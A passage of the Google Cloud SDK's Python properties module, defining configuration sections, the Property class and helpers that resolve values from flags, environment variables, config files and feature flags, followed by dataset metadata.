'\n ' calculate CRC32C hashes with the included gcloud-crc32c tool'\n ' rather than the google-crc32c Python library. This behavior is '\n ' also triggered when the google-crc32c Python library is'\n ' unavailable even if this property is False.'))\n\n # TODO(b/109938541): Remove this after implementation seems stable.\n self.use_gsutil = self._AddBool(\n 'use_gsutil',\n default=False,\n help_text='If True, use the deprecated upload implementation which '\n 'uses gsutil.')\n\n self.use_magicfile = self._AddBool(\n 'use_magicfile',\n default=False,\n help_text=(\n 'If True, uses the `file --mime ` command to guess'\n ' content types instead of the default filename extension-based'\n ' mechanism. Available on UNIX and macOS (and possibly on Windows, '\n ' if you\\'re running Cygwin or some other package that provides '\n ' implementations of UNIX-like commands). When available and '\n ' enabled use_magicfile should be more robust because it analyzes '\n ' file contents in addition to extensions.'))\n\n self.use_threading_local = self._AddBool(\n 'use_threading_local',\n default=True,\n help_text='If True, reuses some resource if they are already declared on'\n ' a thread. If False, creates duplicates of resources like API clients'\n ' on the same thread. Turning off can help with some bugs but will'\n ' hurt performance.')\n\n self.preferred_api = self._Add(\n 'preferred_api',\n default=StoragePreferredApi.JSON.value,\n hidden=True,\n help_text='Specifies the API to be used for performing'\n ' `gcloud storage` operations. If `grpc_with_json_fallback` is set,'\n ' the gRPC API will be used if the operations is supported by'\n ' `gcloud storage`, else it will fallback to using the JSON API.',\n choices=([api.value for api in StoragePreferredApi]))\n\n\nclass _SectionSurvey(_Section):\n \"\"\"Contains the properties for the 'survey' section.\"\"\"\n\n def __init__(self):\n super(_SectionSurvey, self).__init__('survey')\n self.disable_prompts = self._AddBool(\n 'disable_prompts',\n default=False,\n help_text='If True, gcloud will not prompt you to take periodic usage '\n 'experience surveys.')\n\n\nclass _SectionTest(_Section):\n \"\"\"Contains the properties for the 'test' section.\"\"\"\n\n def __init__(self):\n super(_SectionTest, self).__init__('test')\n self.results_base_url = self._Add('results_base_url', hidden=True)\n self.matrix_status_interval = self._Add(\n 'matrix_status_interval', hidden=True)\n\n self.feature_flag = self._Add(\n 'feature_flag',\n hidden=True,\n internal=True,\n is_feature_flag=True,\n help_text=('Run `gcloud meta test --feature-flag` to test the value of '\n 'this feature flag.'))\n\n\nclass _SectionTranscoder(_Section):\n \"\"\"Contains the properties for the 'transcoder' section.\"\"\"\n\n def __init__(self):\n super(_SectionTranscoder, self).__init__('transcoder', hidden=True)\n self.location = self._Add(\n 'location',\n help_text=(\n 'Transcoder location to use. This parameter corresponds to the '\n '/locations/ segment of the Transcoder resource URIs '\n 'being referenced.'))\n\n\nclass _SectionTransfer(_Section):\n \"\"\"Contains the properties for the 'transfer' section.\"\"\"\n\n def __init__(self):\n super(_SectionTransfer, self).__init__('transfer', hidden=True)\n self.no_async_polling_interval_ms = self._Add(\n 'no_async_polling_interval_ms',\n default=3000,\n hidden=True,\n help_text='Frequency for polling a transfer operation to see if'\n ' it is done.')\n\n\nclass _SectionTransport(_Section):\n \"\"\"Contains the properties for the 'transport' section.\"\"\"\n\n def __init__(self):\n super(_SectionTransport, self).__init__('transport', hidden=True)\n self.disable_requests_override = self._AddBool(\n 'disable_requests_override',\n default=False,\n hidden=True,\n help_text='Global switch to turn off using requests as a '\n 'transport. Users can use it to switch back to the old '\n 'mode if requests breaks users.')\n self.opt_out_requests = self._AddBool(\n 'opt_out_requests',\n default=False,\n hidden=True,\n help_text='A switch to disable requests for a surface or a command '\n 'group.')\n\n\nclass _SectionVmware(_Section):\n \"\"\"Contains the properties for the 'vmware' section.\"\"\"\n\n def __init__(self):\n super(_SectionVmware, self).__init__('vmware')\n\n self.region = self._Add(\n 'region',\n default='us-central1',\n help_text='Default region to use when working with VMware '\n 'Engine resources. When a `--region` '\n 'flag is required but not provided, the command will fall back to '\n 'this value, if set.')\n\n self.node_type = self._Add(\n 'node-type',\n default='c1-highmem-72-metal',\n hidden=True,\n help_text='Node type to use when creating a new cluster.')\n\n\nclass _SectionWeb3(_Section):\n \"\"\"Contains the properties for the 'web3' section.\"\"\"\n\n def __init__(self):\n super(_SectionWeb3, self).__init__('web3', hidden=True)\n self.location = self._Add(\n 'location',\n default='us-central1',\n help_text='The default region to use when working with Cloud '\n 'Web3 resources. When a `--location` flag is required '\n 'but not provided, the command will fall back to this value, if set.')\n\n\nclass _SectionWorkflows(_Section):\n \"\"\"Contains the properties for the 'workflows' section.\"\"\"\n\n def __init__(self):\n super(_SectionWorkflows, self).__init__('workflows', hidden=True)\n self.location = self._Add(\n 'location',\n default='us-central1',\n help_text='The default region to use when working with Cloud '\n 'Workflows resources. When a `--location` flag is required '\n 'but not provided, the command will fall back to this value, if set.')\n\n\nclass _Property(object):\n \"\"\"An individual property that can be gotten from the properties file.\n\n Attributes:\n section: str, The name of the section the property appears in, within the\n file.\n name: str, The name of the property.\n help_text: str, The man page help for what this property does.\n is_hidden: bool, True to hide this property from display for users that\n don't know about them.\n is_internal: bool, True to hide this property from display even if it is\n set. Internal properties are implementation details not meant to be set by\n users.\n callbacks: [func], A list of functions to be called, in order, if no value\n is found elsewhere. The result of a callback will be shown in when\n listing properties (if the property is not hidden).\n completer: [func], a completer function\n default: str, A final value to use if no value is found after the callbacks.\n The default value is never shown when listing properties regardless of\n whether the property is hidden or not.\n default_flag: default_flag name to include in RequiredPropertyError if\n property fails on Get. This can be used for flags that are tightly coupled\n with a property.\n validator: func(str), A function that is called on the value when .Set()'d\n or .Get()'d. For valid values, the function should do nothing. For invalid\n values, it should raise InvalidValueError with an explanation of why it\n was invalid.\n choices: [str], The allowable values for this property. This is included in\n the help text and used in tab completion.\n is_feature_flag: bool, True to enable feature flags. False to disable\n feature bool, if True, this property is a feature flag property. See\n go/cloud-sdk-feature-flags for more information.\n \"\"\"\n\n def __init__(self,\n section,\n name,\n help_text=None,\n hidden=False,\n internal=False,\n callbacks=None,\n default=None,\n validator=None,\n choices=None,\n completer=None,\n default_flag=None,\n is_feature_flag=None):\n self.__section = section\n self.__name = name\n self.__help_text = help_text\n self.__hidden = hidden\n self.__internal = internal\n self.__callbacks = callbacks or []\n self.__default = default\n self.__validator = validator\n self.__choices = choices\n self.__completer = completer\n self.__default_flag = default_flag\n self.__is_feature_flag = is_feature_flag\n\n @property\n def section(self):\n return self.__section\n\n @property\n def name(self):\n return self.__name\n\n @property\n def help_text(self):\n return self.__help_text\n\n @property\n def is_hidden(self):\n return self.__hidden\n\n @property\n def is_internal(self):\n return self.__internal\n\n @property\n def default(self):\n return self.__default\n\n @property\n def callbacks(self):\n return self.__callbacks\n\n @property\n def choices(self):\n return self.__choices\n\n @property\n def completer(self):\n return self.__completer\n\n @property\n def default_flag(self):\n return self.__default_flag\n\n @property\n def is_feature_flag(self):\n return self.__is_feature_flag\n\n def __hash__(self):\n return hash(self.section) + hash(self.name)\n\n def __eq__(self, other):\n return self.section == other.section and self.name == other.name\n\n def __ne__(self, other):\n return not self == other\n\n def __gt__(self, other):\n return self.name > other.name\n\n def __ge__(self, other):\n return self.name >= other.name\n\n def __lt__(self, other):\n return self.name < other.name\n\n def __le__(self, other):\n return self.name <= other.name\n\n def GetOrFail(self):\n \"\"\"Shortcut for Get(required=True).\n\n Convenient as a callback function.\n\n Returns:\n str, The value for this property.\n Raises:\n RequiredPropertyError if property is not set.\n \"\"\"\n\n return self.Get(required=True)\n\n def Get(self, required=False, validate=True):\n \"\"\"Gets the value for this property.\n\n Looks first in the environment, then in the workspace config, then in the\n global config, and finally at callbacks.\n\n Args:\n required: bool, True to raise an exception if the property is not set.\n validate: bool, Whether or not to run the fetched value through the\n validation function.\n\n Returns:\n str, The value for this property.\n \"\"\"\n property_value = self.GetPropertyValue(required, validate)\n if property_value is None:\n return None\n return Stringize(property_value.value)\n\n def GetPropertyValue(self, required=False, validate=True):\n \"\"\"Gets the value for this property.\n\n Looks first in the environment, then in the workspace config, then in the\n global config, and finally at callbacks.\n\n Args:\n required: bool, True to raise an exception if the property is not set.\n validate: bool, Whether or not to run the fetched value through the\n validation function.\n\n Returns:\n PropertyValue, The value for this property.\n \"\"\"\n property_value = _GetProperty(self,\n named_configs.ActivePropertiesFile.Load(),\n required)\n if validate:\n self.Validate(property_value)\n return property_value\n\n def IsExplicitlySet(self):\n \"\"\"Determines if this property has been explicitly set by the user.\n\n Properties with defaults or callbacks don't count as explicitly set.\n\n Returns:\n True, if the value was explicitly set, False otherwise.\n \"\"\"\n property_value = _GetPropertyWithoutCallback(\n self, named_configs.ActivePropertiesFile.Load())\n if property_value is None:\n return False\n return property_value.value is not None\n\n def Validate(self, property_value):\n \"\"\"Test to see if the value is valid for this property.\n\n Args:\n property_value: str | PropertyValue, The value of the property to be\n validated.\n\n Raises:\n InvalidValueError: If the value was invalid according to the property's\n validator.\n \"\"\"\n if self.__validator:\n if isinstance(property_value, PropertyValue):\n value = property_value.value\n else:\n value = property_value\n try:\n self.__validator(value)\n except InvalidValueError as e:\n prop = '{}/{}'.format(self.section, self.name)\n error = 'Invalid value for property [{}]: {}'.format(prop, e)\n raise InvalidValueError(error)\n\n def GetBool(self, required=False, validate=True):\n \"\"\"Gets the boolean value for this property.\n\n Looks first in the environment, then in the workspace config, then in the\n global config, and finally at callbacks.\n\n Does not validate by default because boolean properties were not previously\n validated, and startup functions rely on boolean properties that may have\n invalid values from previous installations\n\n Args:\n required: bool, True to raise an exception if the property is not set.\n validate: bool, Whether or not to run the fetched value through the\n validation function.\n\n Returns:\n bool, The boolean value for this property, or None if it is not set.\n\n Raises:\n InvalidValueError: if value is not boolean\n \"\"\"\n value = _GetBoolProperty(\n self,\n named_configs.ActivePropertiesFile.Load(),\n required,\n validate=validate)\n return value\n\n def GetInt(self, required=False, validate=True):\n \"\"\"Gets the integer value for this property.\n\n Looks first in the environment, then in the workspace config, then in the\n global config, and finally at callbacks.\n\n Args:\n required: bool, True to raise an exception if the property is not set.\n validate: bool, Whether or not to run the fetched value through the\n validation function.\n\n Returns:\n int, The integer value for this property.\n \"\"\"\n value = _GetIntProperty(self, named_configs.ActivePropertiesFile.Load(),\n required)\n if validate:\n self.Validate(value)\n return value\n\n def Set(self, property_value):\n \"\"\"Sets the value for this property as an environment variable.\n\n Args:\n property_value: PropertyValue | str | bool, The proposed value for this\n property. If None, it is removed from the environment.\n \"\"\"\n self.Validate(property_value)\n if isinstance(property_value, PropertyValue):\n value = property_value.value\n else:\n value = property_value\n if value is not None:\n value = Stringize(value)\n encoding.SetEncodedValue(os.environ, self.EnvironmentName(), value)\n\n def AddCallback(self, callback):\n \"\"\"Adds another callback for this property.\"\"\"\n self.__callbacks.append(callback)\n\n def RemoveCallback(self, callback):\n \"\"\"Removes given callback for this property.\"\"\"\n self.__callbacks.remove(callback)\n\n def ClearCallback(self):\n \"\"\"Removes all callbacks for this property.\"\"\"\n self.__callbacks[:] = []\n\n def EnvironmentName(self):\n \"\"\"Get the name of the environment variable for this property.\n\n Returns:\n str, The name of the correct environment variable.\n \"\"\"\n return 'CLOUDSDK_{section}_{name}'.format(\n section=self.__section.upper(),\n name=self.__name.upper(),\n )\n\n def __str__(self):\n return '{section}/{name}'.format(section=self.__section, name=self.__name)\n\n\nVALUES = _Sections()\n\n\ndef FromString(property_string):\n \"\"\"Gets the property object corresponding the given string.\n\n Args:\n property_string: str, The string to parse. It can be in the format\n section/property, or just property if the section is the default one.\n\n Returns:\n properties.Property, The property or None if it failed to parse to a valid\n property.\n \"\"\"\n section, prop = ParsePropertyString(property_string)\n if not prop:\n return None\n return VALUES.Section(section).Property(prop)\n\n\ndef ParsePropertyString(property_string):\n \"\"\"Parses a string into a section and property name.\n\n Args:\n property_string: str, The property string in the format section/property.\n\n Returns:\n (str, str), The section and property. Both will be none if the input\n string is empty. Property can be None if the string ends with a slash.\n \"\"\"\n if not property_string:\n return None, None\n\n if '/' in property_string:\n section, prop = tuple(property_string.split('/', 1))\n else:\n section = None\n prop = property_string\n\n section = section or VALUES.default_section.name\n prop = prop or None\n return section, prop\n\n\nclass _ScopeInfo(object):\n\n # pylint: disable=redefined-builtin\n def __init__(self, id, description):\n self.id = id\n self.description = description\n\n\nclass Scope(object):\n \"\"\"An enum class for the different types of property files that can be used.\"\"\"\n\n INSTALLATION = _ScopeInfo(\n id='installation',\n description='The installation based configuration file applies to all '\n 'users on the system that use this version of the Cloud SDK. If the SDK '\n 'was installed by an administrator, you will need administrator rights '\n 'to make changes to this file.')\n USER = _ScopeInfo(\n id='user',\n description='The user based configuration file applies only to the '\n 'current user of the system. It will override any values from the '\n 'installation configuration.')\n\n _ALL = [USER, INSTALLATION]\n _ALL_SCOPE_NAMES = [s.id for s in _ALL]\n\n @staticmethod\n def AllValues():\n \"\"\"Gets all possible enum values.\n\n Returns:\n [Scope], All the enum values.\n \"\"\"\n return list(Scope._ALL)\n\n @staticmethod\n def AllScopeNames():\n return list(Scope._ALL_SCOPE_NAMES)\n\n @staticmethod\n def FromId(scope_id):\n \"\"\"Gets the enum corresponding to the given scope id.\n\n Args:\n scope_id: str, The scope id to parse.\n\n Raises:\n InvalidScopeValueError: If the given value cannot be parsed.\n\n Returns:\n OperatingSystemTuple, One of the OperatingSystem constants or None if the\n input is None.\n \"\"\"\n if not scope_id:\n return None\n for scope in Scope._ALL:\n if scope.id == scope_id:\n return scope\n raise InvalidScopeValueError(scope_id)\n\n @staticmethod\n def GetHelpString():\n return '\\n\\n'.join(\n ['*{0}*::: {1}'.format(s.id, s.description) for s in Scope.AllValues()])\n\n\ndef PersistProperty(prop, value, scope=None):\n \"\"\"Sets the given property in the properties file.\n\n This function should not generally be used as part of normal program\n execution. The property files are user editable config files that they should\n control. This is mostly for initial setup of properties that get set during\n SDK installation.\n\n Args:\n prop: properties.Property, The property to set.\n value: str, The value to set for the property. If None, the property is\n removed.\n scope: Scope, The config location to set the property in. If given, only\n this location will be updated and it is an error if that location does not\n exist. If not given, it will attempt to update the property in the first\n of the following places that exists: - the active named config - user\n level config It will never fall back to installation properties; you must\n use that scope explicitly to set that value.\n\n Raises:\n MissingInstallationConfig: If you are trying to set the installation config,\n but there is not SDK root.\n \"\"\"\n prop.Validate(value)\n if six.PY3:\n value = _EscapePercentSign(value)\n if scope == Scope.INSTALLATION:\n config.EnsureSDKWriteAccess()\n config_file = config.Paths().installation_properties_path\n if not config_file:\n raise MissingInstallationConfig()\n prop_files_lib.PersistProperty(config_file, prop.section, prop.name, value)\n named_configs.ActivePropertiesFile.Invalidate(mark_changed=True)\n else:\n active_config = named_configs.ConfigurationStore.ActiveConfig()\n active_config.PersistProperty(prop.section, prop.name, value)\n # Print message if value being set/unset is overridden by environment var\n # to prevent user confusion\n env_name = prop.EnvironmentName()\n override = encoding.GetEncodedValue(os.environ, env_name)\n if override:\n warning_message = ('WARNING: Property [{0}] is overridden '\n 'by environment setting [{1}={2}]\\n')\n # Writing to sys.stderr because of circular dependency\n # in googlecloudsdk.core.log on properties\n sys.stderr.write(warning_message.format(prop.name, env_name, override))\n\n\ndef _GetProperty(prop, properties_file, required):\n \"\"\"Gets the given property.\n\n If the property has a designated command line argument and args is provided,\n check args for the value first. If the corresponding environment variable is\n set, use that second. If still nothing, use the callbacks.\n\n Args:\n prop: properties.Property, The property to get.\n properties_file: properties_file.PropertiesFile, An already loaded\n properties files to use.\n required: bool, True to raise an exception if the property is not set.\n\n Raises:\n RequiredPropertyError: If the property was required but unset.\n\n Returns:\n PropertyValue, The value of the property, or None if it is not set.\n \"\"\"\n\n flag_to_use = None\n\n invocation_stack = VALUES.GetInvocationStack()\n if len(invocation_stack) > 1:\n # First item is the blank stack entry, second is from the user command args.\n first_invocation = invocation_stack[1]\n if prop in first_invocation:\n flag_to_use = first_invocation.get(prop).flag\n\n property_value = _GetPropertyWithoutDefault(prop, properties_file)\n if property_value is not None and property_value.value is not None:\n return property_value\n\n # Still nothing, check the final default.\n if prop.default is not None:\n return PropertyValue(\n Stringize(prop.default), PropertyValue.PropertySource.DEFAULT)\n\n # Not set, throw if required.\n if required:\n raise RequiredPropertyError(prop, flag=flag_to_use)\n\n return None\n\n\ndef GetValueFromFeatureFlag(prop):\n \"\"\"Gets the property value from the Feature Flags yaml.\n\n Args:\n prop: The property to get\n\n Returns:\n str, the value of the property, or None if it is not set.\n \"\"\"\n ff_config = feature_flags_config.GetFeatureFlagsConfig(\n VALUES.core.account.Get(), VALUES.core.project.Get())\n if ff_config:\n return Stringize(ff_config.Get(prop))\n return None\n\n\ndef _GetPropertyWithoutDefault(prop, properties_file):\n \"\"\"Gets the given property without using a default.\n\n If the property has a designated command line argument and args is provided,\n check args for the value first. If the corresponding environment variable is\n set, use that second. Next, return whatever is in the property file. Finally,\n use the callbacks to find values. Do not check the default value.\n\n Args:\n prop: properties.Property, The property to get.\n properties_file: properties_file.PropertiesFile, An already loaded\n properties files to use.\n\n Returns:\n PropertyValue, The value of the property, or None if it is not set.\n \"\"\"\n # Try to get a value from args, env, or property file.\n property_value = _GetPropertyWithoutCallback(prop, properties_file)\n if property_value and property_value.value is not None:\n return property_value\n\n # No value, try getting a value from the callbacks.\n for callback in prop.callbacks:\n value = callback()\n if value is not None:\n return PropertyValue(\n Stringize(value), PropertyValue.PropertySource.CALLBACK)\n\n # Feature Flag callback\n if (prop.is_feature_flag and prop != VALUES.core.enable_feature_flags and\n FeatureFlagEnabled()):\n return PropertyValue(\n GetValueFromFeatureFlag(prop),\n PropertyValue.PropertySource.FEATURE_FLAG)\n\n return None\n\n\ndef FeatureFlagEnabled():\n return VALUES.core.enable_feature_flags.GetBool()\n\n\ndef _GetPropertyWithoutCallback(prop, properties_file):\n \"\"\"Gets the given property without using a callback or default.\n\n If the property has a designated command line argument and args is provided,\n check args for the value first. If the corresponding environment variable is\n set, use that second. Finally, return whatever is in the property file. Do\n not check for values in callbacks or defaults.\n\n Args:\n prop: properties.Property, The property to get.\n properties_file: PropertiesFile, An already loaded properties files to use.\n\n Returns:\n PropertyValue, The value of the property, or None if it is not set.\n \"\"\"\n # Look for a value in the flags that were used on this command.\n invocation_stack = VALUES.GetInvocationStack()\n for value_flags in reversed(invocation_stack):\n if prop not in value_flags:\n continue\n value_flag = value_flags.get(prop, None)\n if not value_flag:\n continue\n if value_flag.value is not None:\n return PropertyValue(\n Stringize(value_flag.value), PropertyValue.PropertySource.FLAG)\n\n # Check the environment variable overrides.\n value = encoding.GetEncodedValue(os.environ, prop.EnvironmentName())\n if value is not None:\n return PropertyValue(\n Stringize(value), PropertyValue.PropertySource.ENVIRONMENT)\n\n # Check the property file itself.\n value = properties_file.Get(prop.section, prop.name)\n if value is not None:\n return PropertyValue(\n Stringize(value), PropertyValue.PropertySource.PROPERTY_FILE)\n\n return None\n\n\ndef _GetBoolProperty(prop, properties_file, required, validate=False):\n \"\"\"Gets the given property in bool form.\n\n Args:\n prop: properties.Property, The property to get.\n properties_file: properties_file.PropertiesFile, An already loaded\n properties files to use.\n required: bool, True to raise an exception if the property is not set.\n validate: bool, True to validate the value\n\n Returns:\n bool, The value of the property, or None if it is not set.\n \"\"\"\n property_value = _GetProperty(prop, properties_file, required)\n if validate:\n _BooleanValidator(prop.name, property_value)\n if property_value is None or property_value.value is None:\n return None\n property_string_value = Stringize(property_value.value).lower()\n if property_string_value == 'none':\n return None\n return property_string_value in ['1', 'true', 'on', 'yes', 'y']\n\n\ndef _GetIntProperty(prop, properties_file, required):\n \"\"\"Gets the given property in integer form.\n\n Args:\n prop: properties.Property, The property to get.\n properties_file: properties_file.PropertiesFile, An already loaded\n properties files to use.\n required: bool, True to raise an exception if the property is not set.\n\n Returns:\n int, The integer value of the property, or None if it is not set.\n \"\"\"\n property_value = _GetProperty(prop, properties_file, required)\n if property_value is None or property_value.value is None:\n return None\n try:\n return int(property_value.value)\n except ValueError:\n raise InvalidValueError(\n 'The property [{prop}] must have an integer value: [{value}]'.format(\n prop=prop, value=property_value.value))\n\n\ndef IsDefaultUniverse():\n universe_domain_property = VALUES.core.universe_domain\n return universe_domain_property.Get() == universe_domain_property.default\n\n\ndef GetMetricsEnvironment():\n \"\"\"Get the metrics environment.\n\n Returns the property metrics/environment if set, if not, it tries to deduce if\n we're on some known platforms like devshell or GCE.\n\n Returns:\n None, if no environment is set or found\n str, a string denoting the environment if one is set or found\n \"\"\"\n\n environment = VALUES.metrics.environment.Get()\n if environment:\n return environment\n\n # No explicit environment defined, try to deduce it.\n # pylint: disable=g-import-not-at-top\n from googlecloudsdk.core.credentials import devshell as c_devshell\n if c_devshell.IsDevshellEnvironment():\n return 'devshell'\n\n from googlecloudsdk.core.credentials import gce_cache\n if gce_cache.GetOnGCE(check_age=False):\n return 'GCE'\n\n return None\n\n\ndef _EscapePercentSign(value):\n \"\"\"Escape '%' in property value.\n\n Do nothing if value contains '%%', i.e. value was escaped by user.\n\n Args:\n value: property value\n\n Returns:\n str, value with escaped % sign\n \"\"\"\n if not isinstance(value, six.string_types) or '%%' in value:\n return value\n elif '%' in value:\n return value.replace('%', '%%')\n else:\n return value\n", "repo_name": "twistedpair/google-cloud-sdk", "sub_path": "google-cloud-sdk/lib/googlecloudsdk/core/properties.py", "file_name": "properties.py", "file_ext": "py", "file_size_in_byte": 170226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 55, "dataset": "github-code", "pt": "7", "api": [{"api_name": "googlecloudsdk.core.configurations.named_configs.FLAG_OVERRIDE_STACK.PushFromArgs", "line_number": 31, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.FLAG_OVERRIDE_STACK", "line_number": 31, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 31, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.argv_utils.GetDecodedArgv", "line_number": 31, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.argv_utils", "line_number": 31, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 42, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 58, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 80, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.path.isabs", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 106, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.times.ParseDuration", "line_number": 141, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.times", "line_number": 141, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.util.scaled_integer.ParseInteger", "line_number": 151, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.scaled_integer", "line_number": 151, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.exceptions.Error", "line_number": 156, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.exceptions", "line_number": 156, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.exceptions.Error", "line_number": 237, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.exceptions", "line_number": 237, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 263, "usage_type": "attribute"}, {"api_name": "six.text_type", "line_number": 277, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 657, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 737, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 839, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 881, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Load", "line_number": 907, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 907, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 907, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Load", "line_number": 962, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 962, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 962, "usage_type": "name"}, {"api_name": "googlecloudsdk.generated_clients.apis.apis_map.MAP.get", "line_number": 1344, "usage_type": "call"}, {"api_name": "googlecloudsdk.generated_clients.apis.apis_map.MAP", "line_number": 1344, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.generated_clients.apis.apis_map", "line_number": 1344, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.config.Paths", "line_number": 1396, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 1396, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1400, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1400, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config.Paths", "line_number": 1400, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 1400, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.config.CLOUDSDK_CLIENT_ID", "line_number": 1481, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config", "line_number": 1481, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.config.CLOUDSDK_CLIENT_NOTSOSECRET", "line_number": 1485, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config", "line_number": 1485, "usage_type": "name"}, {"api_name": "textwrap.dedent", "line_number": 1500, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 1576, "usage_type": "call"}, {"api_name": "textwrap.dedent", "line_number": 1623, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 1954, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.CONFIG", "line_number": 2134, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types", "line_number": 2134, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.DEFAULT", "line_number": 2134, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.DISABLE", "line_number": 2134, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.FLATTENED", "line_number": 2134, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.JSON", "line_number": 2135, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types", "line_number": 2135, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.LIST", "line_number": 2135, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.NONE", "line_number": 2135, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.OBJECT", "line_number": 2135, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.resource.resource_printer_types.TEXT", "line_number": 2135, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 2145, "usage_type": "call"}, {"api_name": "textwrap.dedent", "line_number": 2160, "usage_type": "call"}, {"api_name": "textwrap.dedent", "line_number": 2185, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 2238, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 2289, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.constants.DEFAULT_DEVSHELL_IMAGE", "line_number": 2455, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.constants", "line_number": 2455, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.constants.METADATA_IMAGE", "line_number": 2457, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.constants", "line_number": 2457, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.config.INSTALLATION_CONFIG", "line_number": 2523, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config", "line_number": 2523, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 2859, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 2881, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.http_proxy_types.PROXY_TYPE_MAP.keys", "line_number": 3006, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.http_proxy_types.PROXY_TYPE_MAP", "line_number": 3006, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.util.http_proxy_types", "line_number": 3006, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 3197, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 3209, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 3219, "usage_type": "call"}, {"api_name": "textwrap.dedent", "line_number": 3357, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 3483, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3483, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config.Paths", "line_number": 3484, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 3484, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 3517, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3517, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config.Paths", "line_number": 3518, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 3518, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 3529, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3529, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config.Paths", "line_number": 3530, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 3530, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Load", "line_number": 3881, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 3881, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 3881, "usage_type": "name"}, {"api_name": 